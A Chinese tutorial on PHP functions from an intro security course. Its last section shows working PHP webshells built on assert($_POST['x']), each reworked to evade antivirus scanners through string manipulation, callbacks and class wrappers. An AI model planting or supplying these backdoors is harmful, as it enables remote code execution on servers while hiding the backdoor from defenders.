网络安全入门学习第十六课——PHP函数

文章目录

  • 前言
  • 一、函数定义与调用
  • 二、参数传递
    • 1、按值传递
    • 2、按引用传递
    • 3、参数默认值
    • 4、指定参数类型
  • 三、变量
    • 1、函数内定义全局变量
    • 2、函数里修改全局方式
      • 2.1、使用 GLOBALS
      • 2.2、在函数里使用global声明
  • 四、递归函数
  • 五、函数的高级应用
    • 1、静态变量(static)
    • 2、可变函数
    • 3、回调函数
    • 4、匿名函数(闭包函数)
    • 5、字符串函数
      • 5.1、截取字符串
      • 5.2、替换字符串
      • 5.3、过滤字符串中空白字符
      • 5.4、字符串比较
    • 6、数学函数
    • 7、免杀 | Webshell | 对于php免杀shell
      • 7.1、php免杀函数
      • 7.2、替换字符串绕过
      • 7.3、关键字分割绕过
      • 7.4、回调函数绕过
      • 7.5、定义一个函数或者类来调用来绕过


前言

PHP 的真正威力源自于它的函数。在 PHP 中,提供了超过 1000 个内建的函数。

php函数分为:系统内部函数自定义函数

PHP 函数准则:

  1. 函数的名称应该提示出它的功能
  2. 函数名称以字母或下划线开头(不能以数字开头)

一、函数定义与调用

函数的定义由以下4部分组成:

function 函数名([参数1, 参数2, ……])
{
    函数体……
}

函数调用: 函数名(1,2)

函数只有被调用后,才开始真正执行函数中的代码,执行完毕,返回调用函数的位置继续向下执行

注意:

  1. 通过函数名实现调用,可以在函数声明之前调用,也可在之后
  2. 如果函数有参数,可以通过传递参数改变函数内部代码执行
  3. 如果函数有返回值,当函数执行完毕后,函数名可以当作保存值的变量使用

二、参数传递

遵循一个原则,实参的数量必须对应形参的数量。

1、按值传递

PHP默认支持按值传递参数,按此种方式定义的函数,在函数内部可以随意对用户传递的参数进行操作。

function add($a, $b)  # 形参
{
    $a = $a + $b;
    return $a;
}

// 调用方式一
echo add(5, 7); 	# 实参 5,7
// 调用方式二
$x = 5;
$y = 7;
echo add($x, $y);

2、按引用传递

在开发中,若需要函数修改它的参数值,则需通过函数参数的引用传递。实现方式只需在参数前添加&符号即可。

例子:

<?php
function xy(&$a, $b){       //xy函数需要2个参数  注意这里带了$符号呀
	$c = $a+$b;
	$a = 100;
	return $c;       //使用return指定返回值为两数之和
}

$x = 5;
$y = 8;
$r1 = xy($x,$y);
var_dump($r1);  #输出:13
var_dump($x) ;  #输出:100

&就是把形参$a$x都是指向同一个内存地址,其中一个改变另外一个也会跟着改变,运行函数时$a变成100,所以后面$x输出结果也是100。

3、参数默认值

注意:默认值必须是常量表达式,不能是变量。如果函数有多个参数,可以为多个参数指定默认值。但是,带默认值的参数只能位于参数列表的最后,即一个默认值参数的右边不能出现没有指定参数值的参数。

正确写法:
function setPoint($x,$z,$y=0){
echo "{".$x.",".$y.",".$z."}";
}
setPoint(5,90);

错误写法:
function setPoint($x,$y=0,$z){
	echo "{".$x.",".$y.",".$z."}";
}
setPoint(5,7);

4、指定参数类型

在PHP 7.0及以上的版本后,在自定义函数时,可以指定参数具体是哪种数据类型。

如果是在5.x版本下面写法会报fatal的错误。

function sum1(int $a, int $b)
{
    return $a + $b;
}
echo sum1(2.6, 3.8); // 输出结果:5

当用户调用函数时,如果传递的参数不是 int 类型,程序会将其强制的转换为 int 型后,再进行操作,这种方式称为弱类型参数设置。


三、变量

在函数中定义的变量称为局部变量

在函数外定义的变量称为全局变量

1、函数内定义全局变量

我们经常会遇到一种情况,在函数外部声明了一个全局变量后,我们想在函数内部访问或者修改这一全局变量,这里我们就需要使用一叫global的关键字来实现。

global作用在函数内创建一个局部变量,使用global关键字使其成为全局变量的同名引用。

2、函数里修改全局方式

2.1、使用 GLOBALS


$x = 100;		#全局变量
function test()
{
    echo 'begin test'.PHP_EOL;
    $GLOBALS['x'] = 99;   #修改全局变量
    return $x;  
    echo 'afterreturn'.$x;
}
echo $x;		//输出:100 
echo test();  //输出:begin test ,因为调用方法 返回是空,全局变量$x的值变为99,局部变量$x没有赋值,它是局部变量(没有Global)
echo $x; 	//输出:99 
?>

2.2、在函数里使用global声明


$x = 100;	#全局变量
function test()
{
   echo 'begin test'.PHP_EOL;
   global $x; 	#必须加上global 关键字才会把它声明为全局变量不然就是局部变量
   //如果是局部变量那么就跟开头 $x=100是不同的变量。
   $x = 98;
   return $x;	//在这里函数已经返回了
   echo 'afterreturn'.$x; 	#這句話 不会被执行到,因为前面返回了(php也没有报错,其他语句会报错)
}
echo $x;	 //全局变量,输出:100 
echo test();  //输出:begin test 98
echo $x; 	//输出:98 
?>

四、递归函数

函数递归调用是函数嵌套调用中一种特殊的调用。它指的是一个函数在其函数体内调用自身的过程,这种函数成为递归函数。

举例: 求n的阶乘,计算公式为1×2×3×…×n。如4的阶乘等于1×2×3×4=24。 n! = (n-1)! *n

递归调用是一种解决方案,一种逻辑思想,将一个大工作分为逐渐减小的小工作,只不过在程序中,就是依靠函数嵌套这个特性来实现了。


function Fact($n) {
$sum=1; 
if($n <= 1){  # 递归什么时候结束
return 1;
}else{
$sum = $n * fact($n-1);  # 简单 递归写法容易看懂
return $sum;
}
}
echo "2 的阶乘为: " .Fact(2)."

"
; echo "3 的阶乘为: " .Fact(3)."

"
; echo "4 的阶乘为: " .Fact(4)."

"
; echo "10 的阶乘为: " .Fact(10); ?> 再来看个错误的: <?php function Fact($n) { $sum=1; $sum = $n * fact($n-1); return $sum; } //f5 -> 5* f4 -> 5 * 4*f3 -> 5*4*3 *f2 -> 5*4*3*2*f1 -> 5*4*3*2*1*f(0) -> -> 5*4*3*2*1*0 * f(-1) echo "2 的阶乘为: " .Fact(2)."

"
; echo "3 的阶乘为: " .Fact(3)."

"
; echo "4 的阶乘为: " .Fact(4)."

"
; echo "10 的阶乘为: " .Fact(10); ?>

五、函数的高级应用

1、静态变量(static)

静态变量就是变量会随着函数的调用而改变


function num()
{
   static $i = 1; # python里没有 C++里有
   echo $i;
   ++$i;
}
echo '第一次调用';
num(); 	//输出:1
echo '第二次调用';
num(); 	//输出:2
echo '第三次调用';
num(); 	//输出:3
?>

2、可变函数

可变函数就是将定义好的函数名赋值给一个变量,然后通过这个变量来调用。

可变函数的实现就是在一个变量名后添加一对圆括号“()”,让其变成一个函数的形式,然后PHP就寻找与变量值同名的函数,并且尝试执行它。

举例:变量函数的用法:

function demo(){
echo "天王盖地虎! ";
}
function demo1(){
echo "宝塔镇河妖! ";
}
$de='demo'; 	//将demo函数名赋给变量$de;
echo $de();		//调用该变量名加(); 不是demo()
$ee='demo1';	//将demo1函数名赋给变量$ee;
echo $ee();

3、回调函数

回调函数(callback):指的就是具有callable类型的函数,一般用作参数的传递。如PHP内置函数call_user_func()可以接受用户自定义的回调函数作为参数。

就是把函数作为参数传入进另一个函数中使用


function qwe($name,$age){
  echo "我叫$name$age 岁了 
"
; } call_user_func('qwe', "张三",'18'); # 相当于调用了 qwe("张三",'18') call_user_func('qwe', "李四",'24'); # 相当于调用了 qwe("李四",'24') qwe('张三','18') ?>

4、匿名函数(闭包函数)

匿名函数:就是没有函数名称的函数,也称作闭包函数,经常用作回调函数参数的值。对于临时定义的函数,使用匿名函数无需考虑函数命名冲突的问题。


$sum = function ($a, $b) { // 定义匿名函数
   return $a + $b;
};
echo $sum(100, 200); // 输出结果:300
?>

匿名函数中使用外部的变量,需要通过use关键字实现。use关键字后圆括号()中的内容即为要使用的外部变量列表,多个变量之间使用英文逗号,分隔即可。

正确方法:
$c = 100;
$sum = function($a, $b) use($c) {
   return $a + $b + $c;
};
echo $sum(100, 200); // 输出结果:400


下面是错误方式:
<?php
$c = 100;
$sum = function($a,$b,$c) {
   return $a + $b + $c;
};
echo $sum(100, 200); 
?>

5、字符串函数

字符串函数是PHP用来操作字符串的内置函数,在实际开发中有着非常重要的作用

函数名称 功能描述
strlen() 获取字符串的长度
strpos() 查找字符串首次出现的位置
strrpos() 获取指定字符串在目标字符串中最后一次出现的位置
str_replace() 用于字符串中的某些字符进行替换操作
substr() 用于获取字符串中的子串
explode() 使用一个字符串分割另一个字符数组
implode() 用指定的连接符将数组拼接成一个字符串
trim() 去除字符串首尾处的空白字符(或指定成其他字符)
str_repeat() 重复一个字符串
strcmp() 用于判断两个字符串的大小

5.1、截取字符串

substr() 函数的第1个参数表示待截取的字符串,第2个参数表示开始截取的位置,非负数表示从字符串指定位置处截取,从0开始;负数表示从字符串尾部开始。第3个参数表示截取的长度。

substr()函数的第3个参数表示截取的长度,该长度的设置具体有以下4种情况:

  1. 省略第3个参数时,将返回从指定位置到字符串结尾的子字符串。
  2. 第3个参数为正数,返回的字符串将从指定位置开始,最多包含指定长度的字符,这取决于待截取字符串的长度。
  3. 第3个参数为负数,返回的字符串中在结尾处将有个指定长度的字符被省略。
  4. 第3个参数为0、false或null,将返回一个空字符串。

5.2、替换字符串

替换指定位数的字符,在开发也是很常见的功能。例如,在各种抽奖环节中,为了保证用户的隐私,出现的手机号一般使用*将第4至7位的数字进行覆盖。

$tel = '18810881888'; // 随意输入一串数字作为手机号
$len = 4; // 需要覆盖的手机号长度
$replace = str_repeat('*', $len); // 根据指定长度设置覆盖的字符串
echo substr_replace($tel, $replace, 3, $len); // 输出结果: 188****1888

substr_replace() 函数把字符串的一部分替换为另一个字符串。各个参数分别为需要检查的字符串、需要插入的字符串、从什么地方开始、替换多少个字符。

str_repeat()函数用于对*字符重复$len次。

5.3、过滤字符串中空白字符

程序开发中,去除字符串中的空白字符有时是必不可少的。例如,去除用户注册邮箱中首尾两端的空白字符。这时可以使用PHP提供的trim()函数,去除字符串中首尾两端的空白字符。

$str = '       These are a few words :) ...   ';
echo '原字符串:' . $str . '
'
; echo '去空白后的字符串:' . trim($str);

5.4、字符串比较

字符串的比较:一种比较运算符=====,另一种函数strcmp()
strcmp()

根据比较结果 strcmp() 函数会返回不同的值,如果 $str1 小于 $str2,则返回值 < 0;如果 $str1 大于 $str2,则返回值 > 0;如果 $str1 与 $str2 相等,则返回 0

6、数学函数

为了方便开发人员处理程序中的数学运算,PHP内置了一系列的数学函数,用于获取最大值、最小值、生成随机数等常见的数学运算。

函数名称 功能描述
abs() 取绝对值
ceil() 向上取最接近的整数
floor() 向下取最接近的整数
fmod() 取除法的浮点数余数
is_nan() 判断是否为合法数值
max() 取最大值
比如:

echo ceil(5.2); 	// 输出结果:6
echo floor(7.8); 	// 输出结果:7 
echo rand(1, 20); // 随机输出1到20间的整数

7、免杀 | Webshell | 对于php免杀shell

关于eval:被杀毒软件监测的

eval是⼀个语⾔构造器⽽不是⼀个函数,不能被可变函数 调⽤可变函数:通过⼀个变量,获取其对应的变量值,然后通过给该值增加⼀个括号(),让系统认为该值是⼀个函数,从⽽当做函数来执⾏

通俗的说⽐如你<?php $a=eval;$a()?>这样是不⾏的.也造就了⽤eval的话达不到assert的灵活,但是在php7.1以上assert已经不能使用了


echo('good');

echo('
'
); eval("echo('good');"); //注意 eval里面要加;号哈 $a =eval; $a ("echo('good');"); //使用可变函数的方式是会报错的,因为eval不是函数 ?>

7.1、php免杀函数

字符串变形多数用于 BYPASS 安全狗,相当对于 D 盾,安全狗更加重视 “形”。
一个特殊的变形就能绕过安全狗,看看 PHP 手册,有着很多关于操作字符串的函数。

ucwords() 		//函数把字符串中每个单词的首字符转换为大写。
ucfirst() 		//函数把字符串中的首字符转换为大写。
trim() 			//函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() 		//函数返回字符串的一部分。
strtr() 		//函数转换字符串中特定的字符。
strtoupper() 	//函数把字符串转换为大写。asserT --> assert --> a
strtolower() 	//函数把字符串转换为小写。
strtok() 		//函数把字符串分割为更小的字符串
str_rot13() 	//函数对字符串执行 ROT13 编码。

7.2、替换字符串绕过

substr_replace() 函数变形 assert 达到免杀(免除杀毒软件识别)的效果:


assert($_POST['x']);	//能够被杀毒软件扫描出来
//assert('读取到服务器某个文件
//这只有php5.x版本才可以这样执行,在php7.x 是不能执行会出现下面的错:D:\programfiles\phpstudy_pro\WWW\demo\hello.php on line 11 >>>>>>

$a = substr_replace("assexx","rt",4);
echo $a; 		//替换成assert
echo 'bbbbb';
$a($_POST['x']); 		//达到了相当于执行assert($_POST['x']);效果  php7.版本就不能执行
?>

7.3、关键字分割绕过

// assert($_POST['x']),把assert 和 $_POST['x']分开
<?php 
function kdog($a){
   $a($_POST['x']);
}
kdog(assert);
?>

<?php 
function kdog($a){
   assert($a);
}
kdog($_POST[x]);
?>

这两种效果一样就是要把 assert 和$_POST分开。这种绕过方法,对安全狗还是比较有效的在 d 盾面前就显得小儿科了,不过后面会讲到如何用定义函数的方法来绕过 d 盾

7.4、回调函数绕过

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()

回调函数大部分已经被安全软件加入全家桶套餐 所以找到一个生僻的不常用的回调函数来执行,比如:

 
forward_static_call_array(assert,array($_POST[x]));
?>

这个函数能过安全狗,但是 D 盾显示是一级。

7.5、定义一个函数或者类来调用来绕过

定义一个函数:
<?php
function test($a,$b){
   array_map($a,$b);     
}
test(assert,array($_POST['x']));
?>


定义一个类:
<?php
class loveme {
   var $a;
   var $b;
   function __construct($a,$b) {
       $this->a=$a;
       $this->b=$b;
  }
   function test() {
      array_map($this->a,$this->b);
  }
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();
?>

你可能感兴趣的:(PHP,web安全,php,web安全)